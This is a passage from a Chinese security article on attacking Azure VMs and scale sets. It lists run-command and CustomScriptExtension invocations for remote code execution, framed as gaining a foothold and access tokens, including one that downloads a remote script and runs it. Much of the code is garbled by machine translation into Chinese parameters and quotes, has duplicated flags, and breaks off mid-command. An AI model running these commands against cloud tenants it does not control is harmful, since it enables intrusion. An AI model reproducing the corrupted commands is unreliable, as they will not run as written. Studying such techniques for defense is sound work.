首页 时政热点 科技头条 智能AI 安全攻防 数码硬件 开发者生态 归档 标签 关于

云上攻防之Azure VM/VMSS代码执行整理+第三方扩展拿access_token

2026-11-20 1 阅读 约9分钟阅读 先知社区
分享:
字号:
前言是对云上攻防场景下的 Azure VM 和 VMSS 进行参与,梳理常见的代码执行方式,以及这种方式进行延伸,借助 Azure 商店中由外部环境厂方发布的三方拓展拿访问令牌,这些手段均是为了在中建立立足点。 Azure 虚拟机(Azure VM),通往本地 VMware / Hyper-V 里的虚拟机 Azure 虚拟机规模集(Virtual Machines Scale Sets,简称 VMSS)是 Azure上用于批量管理一组相同配置常见的虚拟机的计算服务,Azure 会根据定义的配置相同数量的相同创建实例,并让这些实例数量随负载自动增减。 Azure VM 执行代码方式 Run-Command 这是常见的方法,也可以在 Azure 门户中调用 Azure CLI > az vm run-command invoke -g BAS -n BAS-Windows --command-id RunPowerShellScript --scripts "whoami" Azure Powershell > Invoke-AzVMRunCommand -ResourceGroupName 'BAS' -VMName 'BAS-Windows' -CommandId 'RunPowerShellScript' -ScriptString "whoami" REST API > Invoke-AzVMRunCommand -ResourceGroupName 'BAS' -VMName 'BAS-Windows' -CommandId 'RunPowerShellScript' -CommandId 'RunPowerShellScript' -ScriptString "whoami" Run-Command 对象先创建一个 Run-Command 对象,记录这次的执行情况,在读取该对象时带上扩展Azure CLI 第一步 create 建资源 > az vm run-command create --resource-group "BAS" --location "East US" --vm-name "BAS-Windows" --run-command-name "BASExample" --script "whoami" 第二步 show --expand instanceView 获取结果 > az vm run-command show --resource-group "BAS" --vm-name "BAS-Windows" --run-command-name "BASExample" --expand instanceView Azure Powershell > Set-AzVMRunCommand -ResourceGroupName 'BAS' -VMName 'BAS-Windows' -RunCommandName 'BASCommand' -位置“美国东部” -SourceScript "whoami" $Result = Get-AzVMRunCommand -ResourceGroupName 'BAS' -VMName 'BAS-Windows' -RunCommandName 'BASCommand' -Expand InstanceView $Result.InstanceView REST API $subscriptionId =“12345678-1234-1234-1234-123456789abc”$resourceGroup =“BAS”$vmName =“BAS-Windows”$apiVersion =“2024-11-01”$uri = “https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.Compute/virtualMachines/$vmName/runCommand?api-version=$apiVersion”$headers = @{“Authorization”=“Bearer $token”“Content-Type”=“application/json”} $body = @{ location =“East US”properties = @{ source = @{ script = "whoami" } } } $response = Invoke-RestMethod -Method POST -Uri $uri -Headers $headers -Body $body $runCommandName = "myRunCommand" $uri = “https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.Compute/virtualMachines/$vmName/runCommands/$runCommandName`?api-version=$apiVersion”$headers = @{“授权”=“承载$令牌”}$response = Invoke-RestMethod -Method GET -Uri $uri -Headers $headers $回应| ConvertTo-Json -Depth 10 CustomScriptExtension 本质上做的操作是下载脚本并执行,利用的是正常功能,能够向 VM 下发扩展,可以在上面运行任何内容。 Azure CLI > az vm extension set --vm-name "BAS-Windows" --resource-group "BAS" --name CustomScriptExtension --publisher Microsoft.Compute --settings '{"commandToExecute":"powershell -ExecutionPolicy Unrestricted -file ScriptExtension.ps1"}' --protected-settings '{"fileUris":["https://.core.windows.net/extension/ScriptExtension.ps1"]}' --version 1.4 > az vm 扩展显示 --resource-group "BAS" --vm-name "BAS-Windows" --name "CustomScriptExtension" --instance-view Azure Powershell > $null = Set-AzVMCustomScriptExtension -ResourceGroupName“BAS”-VMName“BAS-Windows”-位置“美国
这篇文章对您有帮助吗?

订阅66必读

每日精选科技资讯,直达你的邮箱